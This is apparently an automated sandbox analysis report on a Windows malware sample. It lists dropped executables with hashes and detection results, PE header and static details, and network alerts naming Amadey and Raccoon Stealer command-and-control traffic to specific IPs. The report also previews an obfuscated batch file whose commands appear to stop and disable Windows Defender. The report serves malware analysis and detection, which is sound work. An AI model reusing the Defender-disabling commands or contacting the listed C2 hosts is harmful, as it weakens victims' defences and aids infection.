Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...R.\|a.........."...0..............1... ........@.. ....................................`..................................1..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................1......H............D......Q...................................................V#... ..A#... ..A&&...0.......... QB.o.......(....&..0.......... .n.m.......(....&..0..J.........(....+.~.....(....,.........+..+........(....(.........(....(.........*...0..........(....(.....% t..(...+.....% .g..(...+.....% ..0.(...+...... H.NB(...+.....% .z..(...+.....% [/}h(...+.....% ....(...+.....% M.3(...+.....% ....(...+.....% ....(...+.....% _.C.(...+.....% ..&d(...+..... ...}(...++". ...

C:\Users\user\AppData\Local\Temp\66A4.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	512512
Entropy (8bit):	7.846723941917503
Encrypted:	false
SSDEEP:	12288:Tw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+LF:TVhdLVg2Zep7njXzPDxC+J
MD5:	F57B28AEC65D4691202B9524F84CC54A
SHA1:	F546B20EB40E3BC2B6929BA0F574E32422CED30C
SHA-256:	87D86132095541ED3B5FE05EB06692E1712287B6FFD9832A28EB85F52B55F0A5
SHA-512:	1A773186B0A15F743F8D9681036A9ECA45E2DD5F7944725498E929C5438ACFFCD753061EB475383E5759FC41A8ADE4EB717F3D3529313C3C0D48C659B5E36F09
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\66A4.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.................. ........@.. .......................@............`.....................................S............................ ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H........u...p..........HZ..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\77DC.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	512952
Entropy (8bit):	7.861107666291364
Encrypted:	false
SSDEEP:	12288:2w86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+w:2VhdLVg2Zep7njXzPDxC+w
MD5:	42758E2569239A774BECDB12698B124C
SHA1:	4AB353C4177A69FC9A6F3844852762809591DD2F
SHA-256:	E3380DFDD6297AC134BB22C7C1603782F198A5B2164855BF66A95BAE47AB472D
SHA-512:	959A6D4E39BC949F8C92C4213A7DD424EFF46AACCBCE6553D42863F4341B934CEB14997F67FDC2013D064A09C6134B9A113438347B7DEDF65E3A7E2ADA5DEF18
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\77DC.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.................. ........@.. ....................... ............`.................................D...W.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........t...^..........HY..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\8615.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.734269361613487
Encrypted:	false
SSDEEP:	3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5:	73252ACB344040DDC5D9CE78A5D3A4C2
SHA1:	3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015
SHA-256:	B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB
SHA-512:	1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 80%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x............................text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\977B.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	859648
Entropy (8bit):	2.9241367623104355
Encrypted:	false
SSDEEP:	6144:pkY0668MzX0oJgx6nrBdkBSrBHHHI6t7af9GH0WbcSDkTDhm6Xpic76vneCVvK36:phHmzXaNIWsUwgrNt1E/Z
MD5:	AB823DF932B3C2941A9015848EBDB97B
SHA1:	A7E2D46ADA3A42A3D32A96937C316340F2E62A5B
SHA-256:	812D78A50A8DE210DBBCE12FDA210461770B8B928F8B3249DE80ECB68055F61E
SHA-512:	59AC83CED7E0A68E7491812B494E715FC19BA2AA25EDBC0B5765792A1DC19432DBF8F5B671EA4EEBF590740C63EE1A50FE4B0FC716B986F6C5070B920F5C2325
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...R.\|a.........."...0..............1... ........@.. ....................................`..................................1..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................1......H............D......Q...................................................V#... ..A#... ..A&&...0.......... QB.o.......(....&..0.......... .n.m.......(....&..0..J.........(....+.~.....(....,.........+..+........(....(.........(....(.........*...0..........(....(.....% t..(...+.....% .g..(...+.....% ..0.(...+...... H.NB(...+.....% .z..(...+.....% [/}h(...+.....% ....(...+.....% M.3(...+.....% ....(...+.....% ....(...+.....% _.C.(...+.....% ..&d(...+..... ...}(...++". ...

C:\Users\user\AppData\Local\Temp\A557.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	161280
Entropy (8bit):	5.163359140538006
Encrypted:	false
SSDEEP:	3072:hj1+ax5s9jVultxyIAMzTjSMzTjoIe1UhCp:hJqjVoeN
MD5:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
SHA1:	6E1ACD6CB17AB64AC6DBF0F4400C649371B0E3BD
SHA-256:	08D67F957EC38E92301EEAAAF2759EF2A070376239EAD25864C88F3DD31EAB8C
SHA-512:	14A1CD1090A2ECCEA3B654EEE2B7D4DE390219F8C3C200D97D2AB431311BDF24B1B40F2F38E78804AD286654CD33DFB515704C9B863DAF0786A0D633F05C9BF2
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\A557.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 43%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.wa..............P..l.............. ........@.. ...................................@.....................................O....................x............................................................... ............... ..H............text....k... ...l.................. ..`.rsrc................n..............@..@.reloc...............t..............@..B.......................H.......(u..t.......A...HL...(..........................................M...Z...........................................................................................@...............................................................................................................................................................................................!...........L.......!...T...h...i...s... ...p...r...o...g...r...a...m... ...c...a...n...n...o...t... ...b...e... ...r...

C:\Users\user\AppData\Local\Temp\B084.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	347136
Entropy (8bit):	5.994706914620217
Encrypted:	false
SSDEEP:	6144:5rT+Wp+Ouiv24iPmSCyf11rcrKElOoL91iH+2k9Q9:5H/p+Ouiv24gf11rcrKElOSiH
MD5:	31BE6099D31BDBF1ED339EFFDC1C7064
SHA1:	6B1077BE6CF57EA98C3BE8B6F0268D025EA72D88
SHA-256:	9D9056D76BE4BEB3CC17CD95C47108AB42D73255F2BC031423D044ED927FB885
SHA-512:	ECC057643C2E65C74F3286C8856EB57FEC75FCB650FBE864D53EC0C36C34E0DA3242E19657B1ABB75AA3EEE88A7367E77FFC0E3FE98BFEF0D180C74966D1CEDE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 57%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....q.e.Richp.e.........................PE..L...g.._......................p.....p.............@...........................t.................................................P....`s.h?....................s.....0..................................@............................................text... ........................... ..`.data....io.........................@....daya........Ps.....................@....rsrc...h?...`s..@..................@..@.reloc...#....s..$...(..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C5EA.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	344064
Entropy (8bit):	5.99188338211275
Encrypted:	false
SSDEEP:	6144:O0kWD+3Pz81AwPC4BVZ2LGuSoGZkk4mAzaV/:JZD+/CO4ULGuShkk4m1V/
MD5:	3B947ED5AABDD775B1AFC31A5C4D39A0
SHA1:	552AA072522F22A003CADD3BCAD5E4EB981A5CBB
SHA-256:	8245AD87EEA6A1F19F658ADEF8A30B9A512760D866B7075BBF205D7A54296234
SHA-512:	AE62F33E3B0DAE89BBD33481B50E6BA53F31AD8699D1570C8B03D73C2045E870CBA25A06CC3DCEA07D784CA688F63C2C335BD262B0722B4461D29AB54357C226
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ctw.Ctw.Ctw.,...ntw.,...atw.,...<tw.J...Dtw.Ctv.<tw.,...Btw.,...Btw.,...Btw.RichCtw.........PE..L...6.`......................p.....@.............@...........................t.....1...........................................P....Ps..?....................s.<...0...................................@............................................text.............................. ..`.data....io.........................@....lufulac.....@s.....................@....rsrc....?...Ps..@..................@..@.reloc..."....s..$..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\AdvancedRun.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\A557.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91000
Entropy (8bit):	6.241345766746317
Encrypted:	false
SSDEEP:	1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3
MD5:	17FC12902F4769AF3A9271EB4E2DACCE
SHA1:	9A4A1581CC3971579574F837E110F3BD6D529DAB
SHA-256:	29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B
SHA-512:	036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4A
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....).....)..Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\e0c15ae7-477f-4baa-ae46-babd861676a0\test.bat Download File
Process:	C:\Users\user\AppData\Local\Temp\A557.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	8399
Entropy (8bit):	4.665734428420432
Encrypted:	false
SSDEEP:	192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N
MD5:	B2A5EF7D334BDF866113C6F4F9036AAE
SHA1:	F9027F2827B35840487EFD04E818121B5A8541E0
SHA-256:	27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E
SHA-512:	8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189E
Malicious:	false
Reputation:	unknown
Preview:	@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdztigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybsrbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xar%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%jskzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcxymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Roaming\bejhieg Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.734269361613487
Encrypted:	false
SSDEEP:	3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5:	73252ACB344040DDC5D9CE78A5D3A4C2
SHA1:	3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015
SHA-256:	B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB
SHA-512:	1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x............................text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jejhieg Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	345088
Entropy (8bit):	6.005613916547972
Encrypted:	false
SSDEEP:	6144:Y5uWaxsOBlJyeq8PStBStFgykET6+lWx:QvRO8R8PStBS4ykETW
MD5:	5AE3B69C31FE729AC672BA483280F16D
SHA1:	310D993F9FBE7FB9CF3892220D980E08EB5E6286
SHA-256:	033247A6BA1CD0543F27857FB6743E16FDD2990CEA1DF3DCE93E4031C8046D1A
SHA-512:	92012D9893E86466E40DEB84A601B2DF14C0FA20E973F113D39454CD0EF94AEDE225277C64F5EDF1938A1F6969ACF53B2AC564B763D7956DE11929B2D3E987E6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ctw.Ctw.Ctw.,...ntw.,...atw.,...<tw.J...Dtw.Ctv.<tw.,...Btw.,...Btw.,...Btw.RichCtw.........PE..L...2.*_......................p.....p.............@...........................t.................................................P....`s..?....................s.<...0...............................8...@............................................text............................... ..`.data....io.........................@....mehepek.....Ps.....................@....rsrc....?...`s..@..................@..@.reloc..."....s..$... ..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\jejhieg:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.005613916547972
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	cnv622JnZv.exe
File size:	345088
MD5:	5ae3b69c31fe729ac672ba483280f16d
SHA1:	310d993f9fbe7fb9cf3892220d980e08eb5e6286
SHA256:	033247a6ba1cd0543f27857fb6743e16fdd2990cea1df3dce93e4031c8046d1a
SHA512:	92012d9893e86466e40deb84a601b2df14c0fa20e973f113d39454cd0ef94aede225277c64f5edf1938a1f6969acf53b2ac564b763d7956de11929b2d3e987e6
SSDEEP:	6144:Y5uWaxsOBlJyeq8PStBStFgykET6+lWx:QvRO8R8PStBS4ykETW
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ctw.Ctw.Ctw.,...ntw.,...atw.,...<tw.J...Dtw.Ctv.<tw.,...Btw.,...Btw.,...Btw.RichCtw.........PE..L...2.*_...................

File Icon


Icon Hash:	aedaae9ecea62aa2

Static PE Info

General
Entrypoint:	0x41c870
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5F2AA232 [Wed Aug 5 12:12:34 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	5243e0b7a8cb0f582099146f832c26e4

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007FDB84C6672Bh
call 00007FDB84C5FB06h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043C090h
push 00426530h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [0043E1D4h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401074h]
cmp dword ptr [02B339A0h], 00000000h
jne 00007FDB84C5FB00h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [00401100h]
call 00007FDB84C5FC83h
mov dword ptr [ebp-6Ch], eax
call 00007FDB84C696EBh
test eax, eax
jne 00007FDB84C5FAFCh
push 0000001Ch
call 00007FDB84C5FC40h
add esp, 04h
call 00007FDB84C64EC8h
test eax, eax
jne 00007FDB84C5FAFCh
push 00000010h
call 00007FDB84C5FC2Dh
add esp, 04h
push 00000001h
call 00007FDB84C69693h
add esp, 04h
call 00007FDB84C674ABh
mov dword ptr [ebp-04h], 00000000h
call 00007FDB84C6708Fh
test eax, eax

Rich Headers

Programming Language:

[LNK] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3c6c4	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2736000	0x3fa8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x273a000	0x1b3c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1230	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1bd38	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1dc	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3c200	0x3c200	False	0.600035732848	data	7.00461715058	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x3e000	0x26f69a4	0x1600	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.mehepek	0x2735000	0x2e5	0x400	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2736000	0x3fa8	0x4000	False	0.735107421875	data	6.34809839082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x273a000	0x1221c	0x12400	False	0.0804125642123	data	1.04172681821	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x2739ae0	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ICON	0x2736340	0x25a8	data	Spanish	Paraguay
RT_ICON	0x27388e8	0x10a8	data	Spanish	Paraguay
RT_STRING	0x2739d58	0x96	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x2739df0	0x1b6	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x2739a20	0x90	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x27399b8	0x68	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0x2739c10	0x14	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0x2739990	0x22	data	Spanish	Paraguay
RT_VERSION	0x2739c28	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x2739ac0	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x2739ad0	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x2739ab0	0xa	data	Divehi; Dhivehi; Maldivian	Maldives

Imports

DLL	Import
KERNEL32.dll	GetConsoleAliasesLengthW, TlsGetValue, GetCPInfo, HeapAlloc, InterlockedIncrement, GetSystemWindowsDirectoryW, SetEnvironmentVariableW, QueryDosDeviceA, GetNamedPipeHandleStateA, SetHandleInformation, UnlockFile, FindFirstFileExW, BackupSeek, FreeEnvironmentStringsA, GetModuleHandleW, IsBadReadPtr, GetConsoleAliasesLengthA, GetDriveTypeA, ActivateActCtx, GetPrivateProfileIntA, SetFileShortNameW, ReadConsoleInputA, GetSystemWow64DirectoryW, GetVersionExW, SetDllDirectoryA, IsDBCSLeadByte, GetSystemDirectoryA, CreateActCtxA, CompareStringW, GetStartupInfoW, VerifyVersionInfoW, GetLastError, GetLongPathNameW, SetLastError, GetProcAddress, FindVolumeMountPointClose, GlobalGetAtomNameA, FindClose, GetPrivateProfileStringA, OpenWaitableTimerA, LocalAlloc, WriteProfileSectionW, SetSystemTime, GetModuleFileNameA, SetConsoleCursorInfo, GetModuleHandleA, FindFirstChangeNotificationA, GetProcessShutdownParameters, FreeEnvironmentStringsW, BuildCommDCBA, GetCurrentDirectoryA, TlsAlloc, GetWindowsDirectoryW, GetProfileSectionW, AreFileApisANSI, DeleteFileA, LocalFileTimeToFileTime, CloseHandle, CreateFileW, SetStdHandle, GetConsoleMode, GetConsoleCP, MoveFileA, GetCommandLineW, HeapSetInformation, InterlockedDecrement, DecodePointer, ExitProcess, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, GetModuleFileNameW, WriteFile, GetStdHandle, IsProcessorFeaturePresent, GetACP, GetOEMCP, IsValidCodePage, TlsSetValue, GetCurrentThreadId, TlsFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, HeapValidate, HeapCreate, EnterCriticalSection, LeaveCriticalSection, LoadLibraryW, RtlUnwind, RaiseException, GetStringTypeW, MultiByteToWideChar, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, WideCharToMultiByte, LCMapStringW, HeapReAlloc, HeapSize, HeapQueryInformation, HeapFree, SetFilePointer, FlushFileBuffers
USER32.dll	GetMenuInfo, GetMessagePos
WINHTTP.dll	WinHttpReadData

Version Infos

Description	Data
Translations	0x0512 0x00ac

Possible Origin

Language of compilation system	Country where language is spoken	Map
Divehi; Dhivehi; Maldivian	Maldives
Spanish	Paraguay

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
10/29/21-20:11:24.062200	TCP	2027700	ET TROJAN Amadey CnC Check-In	49843	80	192.168.2.5	185.215.113.45
10/29/21-20:11:24.873094	TCP	2033973	ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)	49847	80	192.168.2.5	91.219.236.97
10/29/21-20:13:19.465425	ICMP	399	ICMP Destination Unreachable Host Unreachable			192.168.255.2	192.168.2.5
10/29/21-20:13:19.465452	ICMP	399	ICMP Destination Unreachable Host Unreachable			192.168.255.2	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2021 20:10:11.674714088 CEST	49756	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:11.726025105 CEST	80	49756	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:11.726241112 CEST	49756	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:11.726389885 CEST	49756	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:11.726402998 CEST	49756	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:11.805908918 CEST	80	49756	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:11.806030035 CEST	49756	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:11.812016964 CEST	49756	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:11.844012022 CEST	49757	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:11.863275051 CEST	80	49756	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:11.895694017 CEST	80	49757	185.98.87.159	192.168.2.5
